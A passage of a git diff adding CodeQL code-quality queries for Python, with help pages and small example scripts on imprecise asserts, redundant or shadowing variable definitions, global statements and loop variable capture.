b/python/ql/src/Testing/ImpreciseAssert.qhelp new file mode 100644 index 00000000000..2cf9aa3291c --- /dev/null +++ b/python/ql/src/Testing/ImpreciseAssert.qhelp @@ -0,0 +1,37 @@ + + + + + +

    The class unittest.TestCase provides a range of assertion methods. As well as the general forms assertTrue() and assertFalse() +more specific forms such as assertGreaterEquals() and assertNotIn() are provided. +By using the more specific forms it is possible to get more precise and informative failure messages in the event of a test failing. This can speed up the debugging process. +

    +
    + + +

    Replace all calls to assertTrue() and assertFalse() that do not provide a custom failure message with a more specific variant. +Alternatively, provide a tailored failure message using the assertTrue(condition, message) form. +

    +
    + + +

    In this example, assertTrue() and assertFalse() are used.

    + +

    +This will make it more difficult to determine what has gone wrong when self.assertTrue(1 in []) fails. +The failure message "AssertionError: False is not true" is not very helpful. +

    + +

    A more useful error message can be generated by changing the asserts to the more specific forms as in the following example.

    + +

    In this case, the failure message "AssertionError: 1 not found in []" is much more informative.

    +
    + + +
  • Python library reference: TestCase.assertEqual.
  • +
    + +
    diff --git a/python/ql/src/Testing/ImpreciseAssert.ql b/python/ql/src/Testing/ImpreciseAssert.ql new file mode 100644 index 00000000000..589d1c045d5 --- /dev/null +++ b/python/ql/src/Testing/ImpreciseAssert.ql @@ -0,0 +1,101 @@ +/** + * @name Imprecise assert + * @description Using 'assertTrue' or 'assertFalse' rather than a more specific assertion can give uninformative failure messages. + * @kind problem + * @tags maintainability + * testability + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/imprecise-assert + */ + +import python + +/* Helper predicate for CallToAssertOnComparison class */ +predicate callToAssertOnComparison(Call call, string assertName, Cmpop op) { + call.getFunc().(Attribute).getName() = assertName + and + (assertName = "assertTrue" or assertName = "assertFalse") + and + exists(Compare cmp | + cmp = call.getArg(0) and + /* Exclude complex comparisons like: a < b < c */ + not exists(cmp.getOp(1)) and + op = cmp.getOp(0) + ) +} + +class CallToAssertOnComparison extends Call { + + CallToAssertOnComparison() { + callToAssertOnComparison(this, _, _) + } + + Cmpop getOperator() { + callToAssertOnComparison(this, _, result) + } + + string getMethodName() { + callToAssertOnComparison(this, result, _) + } + + string getBetterName() { + exists(Cmpop op | + callToAssertOnComparison(this, "assertTrue", op) and + ( + op instanceof Eq and result = "assertEqual" + or + op instanceof NotEq and result = "assertNotEqual" + or + op instanceof Lt and result = "assertLess" + or + op instanceof LtE and result = "assertLessEqual" + or + op instanceof Gt and result = "assertGreater" + or + op instanceof GtE and result = "assertGreaterEqual" + or + op instanceof In and result = "assertIn" + or + op instanceof NotIn and result = "assertNotIn" + or + op instanceof Is and result = "assertIs" + or + op instanceof IsNot and result = "assertIsNot" + ) + or + callToAssertOnComparison(this, "assertFalse", op) and + ( + op instanceof NotEq and result = "assertEqual" + or + op instanceof Eq and result = "assertNotEqual" + or + op instanceof GtE and result = "assertLess" + or + op instanceof Gt and result = "assertLessEqual" + or + op instanceof LtE and result = "assertGreater" + or + op instanceof Lt and result = "assertGreaterEqual" + or + op instanceof NotIn and result = "assertIn" + or + op instanceof In and result = "assertNotIn" + or + op instanceof IsNot and result = "assertIs" + or + op instanceof Is and result = "assertIsNot" + ) + ) + } + +} + + +from CallToAssertOnComparison call +where + /* Exclude cases where an explicit message is provided*/ + not exists(call.getArg(1)) +select call, call.getMethodName() + "(a " + call.getOperator().getSymbol() + " b) " + + "cannot provide an informative message. Using " + call.getBetterName() + "(a, b) instead will give more informative messages." diff --git a/python/ql/src/Testing/ImpreciseAssert2.py b/python/ql/src/Testing/ImpreciseAssert2.py new file mode 100644 index 00000000000..a2b250b18d3 --- /dev/null +++ b/python/ql/src/Testing/ImpreciseAssert2.py @@ -0,0 +1,9 @@ +from unittest import TestCase + +class MyTest(TestCase): + + + def testInts(self): + self.assertEqual(1, 1) + self.assertLessEqual(1, 2) + self.assertIn(1, []) #This will fail diff --git a/python/ql/src/Testing/Mox.qll b/python/ql/src/Testing/Mox.qll new file mode 100644 index 00000000000..273193298a2 --- /dev/null +++ b/python/ql/src/Testing/Mox.qll @@ -0,0 +1,18 @@ +import python + +/** Whether `mox` or `.StubOutWithMock()` is used in thin module `m`. + */ +predicate useOfMoxInModule(Module m) { + exists(ModuleObject mox | + mox.getName() = "mox" or mox.getName() = "mox3.mox" | + exists(ControlFlowNode use | + use.refersTo(mox) and + use.getScope().getEnclosingModule() = m + ) + ) + or + exists(Call call| + call.getFunc().(Attribute).getName() = "StubOutWithMock" and + call.getEnclosingModule() = m + ) +} diff --git a/python/ql/src/Variables/Definition.qll b/python/ql/src/Variables/Definition.qll new file mode 100644 index 00000000000..0f0fc7f730b --- /dev/null +++ b/python/ql/src/Variables/Definition.qll @@ -0,0 +1,160 @@ +import python + + +/** + * A control-flow node that defines a variable + */ +class Definition extends NameNode, DefinitionNode { + + /** + * The variable defined by this control-flow node. + */ + Variable getVariable() { + this.defines(result) + } + + /** + * The SSA variable corresponding to the current definition. Since SSA variables + * are only generated for definitions with at least one use, not all definitions + * will have an SSA variable. + */ + SsaVariable getSsaVariable() { + result.getDefinition() = this + } + + /** + * The index of this definition in its basic block. + */ + private int indexInBB(BasicBlock bb, Variable v) { + v = this.getVariable() and + this = bb.getNode(result) + } + + /** + * The rank of this definition among other definitions of the same variable + * in its basic block. The first definition will have rank 1, and subsequent + * definitions will have sequentially increasing ranks. + */ + private int rankInBB(BasicBlock bb, Variable v) { + exists(int defIdx | defIdx = this.indexInBB(bb, v) | + defIdx = rank[result](int idx, Definition def | idx = def.indexInBB(bb, v) | idx) + ) + } + + /** Is this definition the first in its basic block for its variable? */ + predicate isFirst() { + this.rankInBB(_, _) = 1 + } + + /** Is this definition the last in its basic block for its variable? */ + predicate isLast() { + exists(BasicBlock b, Variable v | + this.rankInBB(b, v) = max(Definition other | any() | other.rankInBB(b, v)) + ) + } + + /** + * Is this definition unused? A definition is unused if the value it provides + * is not read anywhere. + */ + predicate isUnused() { + // SSA variables only exist for definitions that have at least one use. + not exists(this.getSsaVariable()) and + // If a variable is used in a foreign scope, all bets are off. + not this.getVariable().escapes() and + // Global variables don't have SSA variables unless the scope is global. + this.getVariable().getScope() = this.getScope() and + // A call to locals() or vars() in the variable scope counts as a use + not exists(Function f, Call c, string locals_or_vars | + c.getScope() = f and this.getScope() = f and + c.getFunc().(Name).getId() = locals_or_vars | + locals_or_vars = "locals" or locals_or_vars = "vars" + ) + } + + /** + * An immediate re-definition of this definition's variable. + */ + Definition getARedef() { + result != this and + exists(Variable var | var = this.getVariable() and var = result.getVariable() | + // Definitions in different basic blocks. + this.isLast() and + reaches_without_redef(var, this.getBasicBlock(), result.getBasicBlock()) and + result.isFirst() + ) + or + // Definitions in the same basic block. + exists(BasicBlock common, Variable var | + this.rankInBB(common, var) + 1 = result.rankInBB(common, var) + ) + } + + /** + * We only consider assignments as potential alert targets, not parameters + * and imports and other name-defining constructs. + * We also ignore anything named "_", "empty", "unused" or "dummy" + */ + predicate isRelevant() { + exists(AstNode p | + p = this.getNode().getParentNode() | + p instanceof Assign or p instanceof AugAssign or p instanceof Tuple + ) + and + not name_acceptable_for_unused_variable(this.getVariable()) + and + /* Decorated classes and functions are used */ + not exists(this.getNode().getParentNode().(FunctionDef).getDefinedFunction().getADecorator()) + and + not exists(this.getNode().getParentNode().(ClassDef).getDefinedClass().getADecorator()) + } + +} + +/** + * Check whether basic block `a` reaches basic block `b` without an intervening + * definition of variable `v`. The relation is not transitive by default, so any + * observed transitivity will be caused by loops in the control-flow graph. + */ +private +predicate reaches_without_redef(Variable v, BasicBlock a, BasicBlock b) { + exists(Definition def | a.getASuccessor() = b | + def.getBasicBlock() = a and def.getVariable() = v and maybe_redefined(v) + ) or + exists(BasicBlock mid | reaches_without_redef(v, a, mid) | + not exists(NameNode cfn | cfn.defines(v) | + cfn.getBasicBlock() = mid + ) and + mid.getASuccessor() = b + ) +} + +private predicate maybe_redefined(Variable v) { + strictcount(Definition d | d.defines(v)) > 1 +} + +predicate name_acceptable_for_unused_variable(Variable var) { + exists(string name | + var.getId() = name | + name.regexpMatch("_+") or name = "empty" or + name.matches("%unused%") or name = "dummy" or + name.regexpMatch("__.*") + ) +} + + +class ListComprehensionDeclaration extends ListComp { + + Name getALeakedVariableUse() { + major_version() = 2 and + this.getIterationVariable(_).getId() = result.getId() and + result.getScope() = this.getScope() and + this.getAFlowNode().strictlyReaches(result.getAFlowNode()) and + result.isUse() + } + + Name getDefinition() { + result = this.getIterationVariable(0).getAStore() + } + +} diff --git a/python/ql/src/Variables/Global.qhelp b/python/ql/src/Variables/Global.qhelp new file mode 100644 index 00000000000..31df579a6de --- /dev/null +++ b/python/ql/src/Variables/Global.qhelp @@ -0,0 +1,20 @@ + + + +

    The use of the global keyword enables functions to modify variables outside of their scope. +These functions may then include side effects that may not be apparent to users +of that function, making the code harder to understand.

    +
    + + +

    Remove the global statement, if possible.

    +
    + + + +
  • Python Language Reference: The global statement.
  • + +
    +
    diff --git a/python/ql/src/Variables/Global.ql b/python/ql/src/Variables/Global.ql new file mode 100644 index 00000000000..8adbd06bcf5 --- /dev/null +++ b/python/ql/src/Variables/Global.ql @@ -0,0 +1,18 @@ +/** + * @name Use of the 'global' statement. + * @description Use of the 'global' statement may indicate poor modularity. + * @kind problem + * @problem.severity recommendation + * @sub-severity low + * @deprecated + * @precision very-high + * @id py/use-of-global + */ + +import python + +from Global g +where not g.getScope() instanceof Module +select g, "Updating global variables except at module initialization is discouraged" + + diff --git a/python/ql/src/Variables/GlobalAtModuleLevel.qhelp b/python/ql/src/Variables/GlobalAtModuleLevel.qhelp new file mode 100644 index 00000000000..a0c1c7e673b --- /dev/null +++ b/python/ql/src/Variables/GlobalAtModuleLevel.qhelp @@ -0,0 +1,20 @@ + + + +

    The global statement is used to specify that assignments to that name are assignments to the +variable in the global (module) scope, rather than in the local scope. +At the module level, this statement is redundant because the local scope and global scope are the same.

    + +
    + +

    Remove the global statement.

    + +
    + + +
  • Python Language Reference: The global statement.
  • + +
    +
    diff --git a/python/ql/src/Variables/GlobalAtModuleLevel.ql b/python/ql/src/Variables/GlobalAtModuleLevel.ql new file mode 100644 index 00000000000..f3dc9e21440 --- /dev/null +++ b/python/ql/src/Variables/GlobalAtModuleLevel.ql @@ -0,0 +1,17 @@ +/** + * @name Use of 'global' at module level + * @description Use of the 'global' statement at module level + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/redundant-global-declaration + */ + +import python + +from Global g +where g.getScope() instanceof Module +select g, "Declaring '" + g.getAName() + "' as global at module-level is redundant." \ No newline at end of file diff --git a/python/ql/src/Variables/LeakingListComprehension.py b/python/ql/src/Variables/LeakingListComprehension.py new file mode 100644 index 00000000000..11b876016bd --- /dev/null +++ b/python/ql/src/Variables/LeakingListComprehension.py @@ -0,0 +1,7 @@ + +def two_or_three(): + x = 3 + [0 for x in range(3)] + return x # Will return 2 in Python 2 and 3 in Python 3. + +print(two_or_three()) \ No newline at end of file diff --git a/python/ql/src/Variables/LeakingListComprehension.qhelp b/python/ql/src/Variables/LeakingListComprehension.qhelp new file mode 100644 index 00000000000..17b5a097625 --- /dev/null +++ b/python/ql/src/Variables/LeakingListComprehension.qhelp @@ -0,0 +1,41 @@ + + + + + +

    In Python 2 list comprehensions are evaluated in the enclosing scope, which means that the iteration variable of a list comprehension is visible +outside of the list comprehension. In Python 3 the iteration variable is no longer visible in the enclosing scope. +

    + +

    +Code that uses the value of a list comprehension iteration variable after the list comprehension has finished will +behave differently under Python 2 and Python 3. +

    + +
    + +

    Explicitly set the variable in the outer scope to the value that it would have held when run under Python 2. +Then rename the list comprehension variable for additional clarity. +

    + +
    + +

    In this example, x is initially assigned the value of 3. +In Python 3, x will be unchanged as the list comprehension is evaluated in its own scope. +In Python 2, evaluation of the list comprehension occurs in the scope of two_or_three, setting x to 2.

    + + +

    The following example is the same code as above, but the list comprehension variable is renamed to ensure it does not overwrite x.

    + + +
    + + +
  • Python Tutorial: List Comprehensions.
  • +
  • The History of Python: From List Comprehensions to Generator Expressions.
  • +
  • Python Language Reference: List displays.
  • + +
    +
    diff --git a/python/ql/src/Variables/LeakingListComprehension.ql b/python/ql/src/Variables/LeakingListComprehension.ql new file mode 100644 index 00000000000..efec82af4ad --- /dev/null +++ b/python/ql/src/Variables/LeakingListComprehension.ql @@ -0,0 +1,30 @@ +/** + * @name List comprehension variable used in enclosing scope + * @description Using the iteration variable of a list comprehension in the enclosing scope will result in different behavior between Python 2 and 3 and is confusing. + * @kind problem + * @tags portability + * correctness + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/leaking-list-comprehension + */ + +import python +import Definition + +from ListComprehensionDeclaration l, Name use, Name defn +where + use = l.getALeakedVariableUse() and + defn = l.getDefinition() and + l.getAFlowNode().strictlyReaches(use.getAFlowNode()) and + /* Make sure we aren't in a loop, as the variable may be redefined */ + not use.getAFlowNode().strictlyReaches(l.getAFlowNode()) and + not l.contains(use) and + not use.deletes(_) and + not exists(SsaVariable v | + v.getAUse() = use.getAFlowNode() and + not v.getDefinition().strictlyDominates(l.getAFlowNode()) + ) + +select use, use.getId() + " may have a different value in Python 3, as the $@ will not be in scope.", defn, "list comprehension variable" diff --git a/python/ql/src/Variables/LeakingListComprehensionFixed.py b/python/ql/src/Variables/LeakingListComprehensionFixed.py new file mode 100644 index 00000000000..e9cd52363be --- /dev/null +++ b/python/ql/src/Variables/LeakingListComprehensionFixed.py @@ -0,0 +1,7 @@ + +def just_three(): + x = 3 + [0 for y in range(3)] + return x # Will return always return 3. + +print(just_three()) \ No newline at end of file diff --git a/python/ql/src/Variables/Loop.qll b/python/ql/src/Variables/Loop.qll new file mode 100644 index 00000000000..f3b105463ac --- /dev/null +++ b/python/ql/src/Variables/Loop.qll @@ -0,0 +1,38 @@ +import python + + +private predicate empty_sequence(Expr e) { + exists(SsaVariable var | var.getAUse().getNode() = e | empty_sequence(var.getDefinition().getNode())) or + e instanceof List and not exists(e.(List).getAnElt()) or + e instanceof Tuple and not exists(e.(Tuple).getAnElt()) or + e.(StrConst).getText().length() = 0 +} + +/* This has the potential for refinement, but we err on the side of fewer false positives for now. */ +private predicate probably_non_empty_sequence(Expr e) { + not empty_sequence(e) +} + +/** A loop which probably defines v */ +private Stmt loop_probably_defines(Variable v) { + exists(Name defn | defn.defines(v) and result.contains(defn) | + probably_non_empty_sequence(result.(For).getIter()) + or + probably_non_empty_sequence(result.(While).getTest()) + ) +} + +/** Holds if the variable used by `use` is probably defined in a loop */ +predicate probably_defined_in_loop(Name use) { + exists(Stmt loop | + loop = loop_probably_defines(use.getVariable()) | + loop.getAFlowNode().strictlyReaches(use.getAFlowNode()) + ) +} + +/** Holds if `s` is a loop that probably executes at least once */ +predicate loop_probably_executes_at_least_once(Stmt s) { + probably_non_empty_sequence(s.(For).getIter()) + or + probably_non_empty_sequence(s.(While).getTest()) +} diff --git a/python/ql/src/Variables/LoopVariableCapture.py b/python/ql/src/Variables/LoopVariableCapture.py new file mode 100644 index 00000000000..4a6abcb8894 --- /dev/null +++ b/python/ql/src/Variables/LoopVariableCapture.py @@ -0,0 +1,18 @@ + +#Make a list of functions to increment their arguments by 0 to 9. +def make_incrementers(): + result = [] + for i in range(10): + def incrementer(x): + return x + i + result.append(incrementer) + return result + +#This will fail +def test(): + incs = make_incrementers() + for x in range(10): + for y in range(10): + assert incs[x](y) == x+y + +test() \ No newline at end of file diff --git a/python/ql/src/Variables/LoopVariableCapture.qhelp b/python/ql/src/Variables/LoopVariableCapture.qhelp new file mode 100644 index 00000000000..15f2b185eb9 --- /dev/null +++ b/python/ql/src/Variables/LoopVariableCapture.qhelp @@ -0,0 +1,60 @@ + + + + +

    +Nested functions are a useful feature of Python as it allows a function to access the variables of its enclosing function. +However, the programmer needs to be aware that when an inner function accesses a variable in an outer scope, +it is the variable that is captured, not the value of that variable. +

    +

    +Therefore, care must be taken when the captured variable is a loop variable, since it is the loop variable and +not the value of that variable that is captured. +This will mean that by the time that the inner function executes, +the loop variable will have its final value, not the value when the inner function was created. +

    + +
    + +

    +The simplest way to fix this problem is to add a local variable of the same name as the outer variable and initialize that +using the outer variable as a default. + +for var in seq: + ... + def inner_func(arg): + ... + use(var) + +becomes + +for var in seq: + ... + def inner_func(arg, var=var): + ... + use(var) + +

    + +
    + +

    +In this example, a list of functions is created which should each increment its argument by its index in the list. +However, since i will be 9 when the functions execute, they will each increment their argument by 9. +

    + +

    +This can be fixed by adding the default value as shown below. The default value is computed when the function is created, so the desired effect is achieved. +

    + + + +
    + +
  • The Hitchhiker’s Guide to Python: Late Binding Closures
  • +
  • Python Language Reference: Naming and binding
  • + +
    +
    diff --git a/python/ql/src/Variables/LoopVariableCapture.ql b/python/ql/src/Variables/LoopVariableCapture.ql new file mode 100644 index 00000000000..307da04861d --- /dev/null +++ b/python/ql/src/Variables/LoopVariableCapture.ql @@ -0,0 +1,47 @@ +/** + * @name Loop variable capture + * @description Capture of a loop variable is not the same as capturing the value of a loop variable, and may be erroneous. + * @kind problem + * @tags correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/loop-variable-capture + */ + +import python + +// Gets the scope of the iteration variable of the looping scope +Scope iteration_variable_scope(AstNode loop) { + result = loop.(For).getScope() + or + result = loop.(Comp).getFunction() +} + +predicate capturing_looping_construct(CallableExpr capturing, AstNode loop, Variable var) { + var.getScope() = iteration_variable_scope(loop) and + var.getAnAccess().getScope() = capturing.getInnerScope() and + capturing.getParentNode+() = loop and + ( + loop.(For).getTarget() = var.getAnAccess() + or + var = loop.(Comp).getAnIterationVariable() + ) +} + +predicate escaping_capturing_looping_construct(CallableExpr capturing, AstNode loop, Variable var) { + capturing_looping_construct(capturing, loop, var) + and + // Escapes if used out side of for loop or is a lambda in a comprehension + ( + exists(Expr e, For forloop | forloop = loop and e.refersTo(_, _, capturing) | not forloop.contains(e)) + or + loop.(Comp).getElt() = capturing + or + loop.(Comp).getElt().(Tuple).getAnElt() = capturing + ) +} + +from CallableExpr capturing, AstNode loop, Variable var +where escaping_capturing_looping_construct(capturing, loop, var) +select capturing, "Capture of loop variable '$@'", loop, var.getId() diff --git a/python/ql/src/Variables/LoopVariableCapture2.py b/python/ql/src/Variables/LoopVariableCapture2.py new file mode 100644 index 00000000000..e0b3db76b17 --- /dev/null +++ b/python/ql/src/Variables/LoopVariableCapture2.py @@ -0,0 +1,18 @@ + +#Make a list of functions to increment their arguments by 0 to 9. +def make_incrementers(): + result = [] + for i in range(10): + def incrementer(x, i=i): + return x + i + result.append(incrementer) + return result + +#This will pass +def test(): + incs = make_incrementers() + for x in range(10): + for y in range(10): + assert incs[x](y) == x+y + +test() \ No newline at end of file diff --git a/python/ql/src/Variables/MonkeyPatched.qll b/python/ql/src/Variables/MonkeyPatched.qll new file mode 100644 index 00000000000..5ee67edc0d1 --- /dev/null +++ b/python/ql/src/Variables/MonkeyPatched.qll @@ -0,0 +1,25 @@ +import python + + +predicate monkey_patched_builtin(string name) { + exists(AttrNode attr, SubscriptNode subscr, StrConst s | + subscr.isStore() and + subscr.getIndex().getNode() = s and + s.getText() = name and + subscr.getValue() = attr and + attr.getObject("__dict__").refersTo(theBuiltinModuleObject()) + ) + or + exists(CallNode call, ControlFlowNode bltn, StrConst s | + call.getArg(0) = bltn and + bltn.refersTo(theBuiltinModuleObject()) and + call.getArg(1).getNode() = s and + s.getText() = name and + call.getFunction().refersTo(builtin_object("setattr")) + ) + or + exists(AttrNode attr | + attr.isStore() and + attr.getObject(name).refersTo(theBuiltinModuleObject()) + ) +} diff --git a/python/ql/src/Variables/MultiplyDefined.py b/python/ql/src/Variables/MultiplyDefined.py new file mode 100644 index 00000000000..5d9ee98ca4c --- /dev/null +++ b/python/ql/src/Variables/MultiplyDefined.py @@ -0,0 +1,3 @@ +x = 42 +x = 12 +print x \ No newline at end of file diff --git a/python/ql/src/Variables/MultiplyDefined.qhelp b/python/ql/src/Variables/MultiplyDefined.qhelp new file mode 100644 index 00000000000..94200b44e14 --- /dev/null +++ b/python/ql/src/Variables/MultiplyDefined.qhelp @@ -0,0 +1,29 @@ + + + + + +

    Multiple assignments to a single variable without an intervening usage makes the first assignment redundant. +Its value is lost. +

    + +
    + +

    Ensure that the second assignment is in fact correct. +Then delete the first assignment (taking care not to delete right hand side if it has side effects).

    + +
    + +

    In this example, x is assigned the value of 42 but then the value is changed to 12 +before x is used. This makes the first assignment useless.

    + + +
    + + +
  • Python: Assignment statements.
  • + +
    +
    diff --git a/python/ql/src/Variables/MultiplyDefined.ql b/python/ql/src/Variables/MultiplyDefined.ql new file mode 100644 index 00000000000..14c95acb1fd --- /dev/null +++ b/python/ql/src/Variables/MultiplyDefined.ql @@ -0,0 +1,61 @@ +/** + * @name Variable defined multiple times + * @description Assignment to a variable occurs multiple times without any intermediate use of that variable + * @kind problem + * @tags maintainability + * useless-code + * external/cwe/cwe-563 + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/multiple-definition + */ + +import python +import Definition + +predicate multiply_defined(AstNode asgn1, AstNode asgn2, Variable v) { + /* Must be redefined on all possible paths in the CFG corresponding to the original source. + * For example, splitting may create a path where `def` is unconditionally redefined, even though + * it is not in the original source. */ + forex(Definition def, Definition redef | + def.getVariable() = v and + def = asgn1.getAFlowNode() and + redef = asgn2.getAFlowNode() | + def.isUnused() and + def.getARedef() = redef and + def.isRelevant() + ) +} + +predicate simple_literal(Expr e) { + e.(Num).getN() = "0" or + e instanceof NameConstant or + e instanceof List and not exists(e.(List).getAnElt()) or + e instanceof Tuple and not exists(e.(Tuple).getAnElt()) or + e instanceof Dict and not exists(e.(Dict).getAKey()) or + e.(StrConst).getText() = "" +} + +/** A multiple definition is 'uninteresting' if it sets a variable to a + * simple literal before reassigning it. + * x = None + * if cond: + * x = value1 + * else: + * x = value2 + */ +predicate uninteresting_definition(AstNode asgn1) { + exists(AssignStmt a | + a.getATarget() = asgn1 | + simple_literal(a.getValue()) + ) +} + + +from AstNode asgn1, AstNode asgn2, Variable v +where + multiply_defined(asgn1, asgn2, v) and + forall(Name el | el = asgn1.getParentNode().(Tuple).getAnElt() | multiply_defined(el, _, _)) and + not uninteresting_definition(asgn1) +select asgn1, "This assignment to '" + v.getId() + "' is unnecessary as it is redefined $@ before this value is used.", asgn2 as t, "here" diff --git a/python/ql/src/Variables/ShadowBuiltin.py b/python/ql/src/Variables/ShadowBuiltin.py new file mode 100644 index 00000000000..ab57e30d382 --- /dev/null +++ b/python/ql/src/Variables/ShadowBuiltin.py @@ -0,0 +1,8 @@ +def test(): + int = 1 # Variable should be renamed to avoid + def print_int(): # shadowing the int() built-in function + print int + print_int() + print int + +test() diff --git a/python/ql/src/Variables/ShadowBuiltin.qhelp b/python/ql/src/Variables/ShadowBuiltin.qhelp new file mode 100644 index 00000000000..ff6a02b6951 --- /dev/null +++ b/python/ql/src/Variables/ShadowBuiltin.qhelp @@ -0,0 +1,30 @@ + + + + +

    When a local variable is defined with the same name as a built-in type or function, the local +variable "shadows" or "hides" the built-in object. This can lead to +confusion as a reader of the code may expect the variable to refer to a built-in object. +

    + +
    + + +

    Change the name of the local variable so that it no longer matches the name of a built-in object. +

    + +
    + + + + + + + +
  • Python Standard Library: Built-in Functions, + Built-in Types.
  • + +
    +
    diff --git a/python/ql/src/Variables/ShadowBuiltin.ql b/python/ql/src/Variables/ShadowBuiltin.ql new file mode 100644 index 00000000000..8bf59411b91 --- /dev/null +++ b/python/ql/src/Variables/ShadowBuiltin.ql @@ -0,0 +1,64 @@ +/** + * @name Builtin shadowed by local variable + * @description Defining a local variable with the same name as a built-in object + * makes the built-in object unusable within the current scope and makes the code + * more difficult to read. + * @kind problem + * @tags maintainability + * readability + * @problem.severity recommendation + * @sub-severity low + * @precision medium + * @id py/local-shadows-builtin + */ + +import python +import Shadowing + +predicate white_list(string name) { + /* These are rarely used and thus unlikely to be confusing */ + name = "iter" or + name = "next" or + name = "input" or + name = "file" or + name = "apply" or + name = "slice" or + name = "buffer" or + name = "coerce" or + name = "intern" or + name = "exit" or + name = "quit" or + name = "license" or + /* These are short and/or hard to avoid */ + name = "dir" or + name = "id" or + name = "max" or + name = "min" or + name = "sum" or + name = "cmp" or + name = "chr" or + name = "ord" or + name = "bytes" or + name = "_" +} + +predicate shadows(Name d, string name, Scope scope, int line) { + exists(LocalVariable l | d.defines(l) and scope instanceof Function and + l.getId() = name and + exists(builtin_object(l.getId())) + ) and + d.getScope() = scope and + d.getLocation().getStartLine() = line and + not white_list(name) and + not optimizing_parameter(d) +} + +predicate first_shadowing_definition(Name d, string name) { + exists(int first, Scope scope | + shadows(d, name, scope, first) and + first = min(int line | shadows(_, name, scope, line))) +} + +from Name d, string name +where first_shadowing_definition(d, name) +select d, "Local variable " + name + " shadows a builtin variable." diff --git a/python/ql/src/Variables/ShadowGlobal.py b/python/ql/src/Variables/ShadowGlobal.py new file mode 100644 index 00000000000..672463f4bbb --- /dev/null +++ b/python/ql/src/Variables/ShadowGlobal.py @@ -0,0 +1,10 @@ +var = 2 # Global variable + +def test2(): + def print_var(): + var = 3 + print var # Local variable which "shadows" the global variable + print_var() # making it more difficult to determine which "var" + print var # is referenced + +test2() diff --git a/python/ql/src/Variables/ShadowGlobal.qhelp b/python/ql/src/Variables/ShadowGlobal.qhelp new file mode 100644 index 00000000000..52c88337570 --- /dev/null +++ b/python/ql/src/Variables/ShadowGlobal.qhelp @@ -0,0 +1,36 @@ + + + + +

    Python statements can access variables in both the local namespace and in the global namespace. +When a local and a global variable have the same name, the local variable "shadows" or "hides" the +global variable. When the variable is referenced, the variable with local scope is used unless you +explicitly use the global statement to reference the global variable. This can lead to +confusion as a reader of the code may expect the variable to refer to a global. +

    + +
    + + +

    Avoid using the same name for variables in local and global namespaces.

    + +
    + +

    The following simple example shows how a local variable can "shadow" a global variable. The local +variable should be renamed to make the code easier to interpret.

    + + + +
    + + +
  • J. Lusth, The Art and Craft of Programming - Python Edition, Section: Scope. University of Alabama, 2012. (Published online).
  • +
  • New Mexico Tech Computer Center: The global +statement: Declare access to a global name.
  • + + + +
    +
    diff --git a/python/ql/src/Variables/ShadowGlobal.ql b/python/ql/src/Variables/ShadowGlobal.ql new file mode 100644 index 00000000000..2bfb91e5a73 --- /dev/null +++ b/python/ql/src/Variables/ShadowGlobal.ql @@ -0,0 +1,66 @@ +/** + * @name Global shadowed by local variable + * @description Defining a local variable with the same name as a global variable + * makes the global variable unusable within the current scope and makes the code + * more difficult to read. + * @kind problem + * @tags maintainability + * readability + * @problem.severity recommendation + * @sub-severity low + * @precision medium + * @id py/local-shadows-global + */ + +import python +import Shadowing + +predicate shadows(Name d, GlobalVariable g, Scope scope, int line) { + exists(LocalVariable l | d.defines(l) and l.getId() = g.getId() and + scope instanceof Function and g.getScope() = scope.getScope() and + not exists(Import il, Import ig, Name gd | il.contains(d) and gd.defines(g) and ig.contains(gd)) and + not exists(Assign a | a.getATarget() = d and a.getValue() = g.getAnAccess()) + ) and + not exists(builtin_object(g.getId())) and + d.getScope() = scope and + d.getLocation().getStartLine() = line and + exists(Name defn | defn.defines(g) | + not exists(If i | i.isNameEqMain() | + i.contains(defn) + ) + ) and + not optimizing_parameter(d) +} + +/* pytest dynamically populates its namespace so, we cannot look directly for the pytest.fixture function */ +AttrNode pytest_fixture_attr() { + exists(ModuleObject pytest | + result.getObject("fixture").refersTo(pytest) + ) +} + +Object pytest_fixture() { + exists(CallNode call | + call.getFunction() = pytest_fixture_attr() + or + call.getFunction().(CallNode).getFunction() = pytest_fixture_attr() + | + call.refersTo(result) + ) +} + +/* pytest fixtures require that the parameter name is also a global */ +predicate assigned_pytest_fixture(GlobalVariable v) { + exists(NameNode def | def.defines(v) and def.(DefinitionNode).getValue().refersTo(pytest_fixture())) +} + +predicate first_shadowing_definition(Name d, GlobalVariable g) { + exists(int first, Scope scope | + shadows(d, g, scope, first) and + first = min(int line | shadows(_, g, scope, line))) +} + +from Name d, GlobalVariable g, Name def +where first_shadowing_definition(d, g) and not exists(Name n | n.deletes(g)) and + def.defines(g) and not assigned_pytest_fixture(g) and not g.getId() = "_" +select d, "Local variable '" + g.getId() + "' shadows a global variable defined $@.", def, "here" diff --git a/python/ql/src/Variables/Shadowing.qll b/python/ql/src/Variables/Shadowing.qll new file mode 100644 index 00000000000..5c56f5cacc2 --- /dev/null +++ b/python/ql/src/Variables/Shadowing.qll @@ -0,0 +1,13 @@ +import python + +/* Parameters with defaults that are used as an optimization. + * E.g. def f(x, len=len): ... + * (In general, this kind of optimization is not recommended.) + */ +predicate optimizing_parameter(Parameter p) { + exists(string name, Name glob | + p.getDefault() = glob | + glob.getId() = name and + p.asName().getId() = name + ) +} diff --git a/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.py b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.py new file mode 100644 index 00000000000..7b91ea8a6a4 --- /dev/null +++ b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.py @@ -0,0 +1,6 @@ + +# +def test(): + for t in [TypeA, TypeB]: + x = TypeA() + run_test(x) diff --git a/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.qhelp b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.qhelp new file mode 100644 index 00000000000..d537051c9f3 --- /dev/null +++ b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.qhelp @@ -0,0 +1,35 @@ + + + + +

    A for loop iteration variable is not used in the body of the loop, and the loop does not count the number of items in the sequence. +This is suspicious as there is rarely any reason to iterate over a sequence and not use the contents. +Not using the loop variable can often indicate a logical error or typo. +

    + +
    + +

    Carefully check that the loop variable should not be used. +If the variable is genuinely not being used and the code is correct, then rename the variable to _ +or unused to indicate to readers of the code that it is intentionally unused. +

    + +
    + +

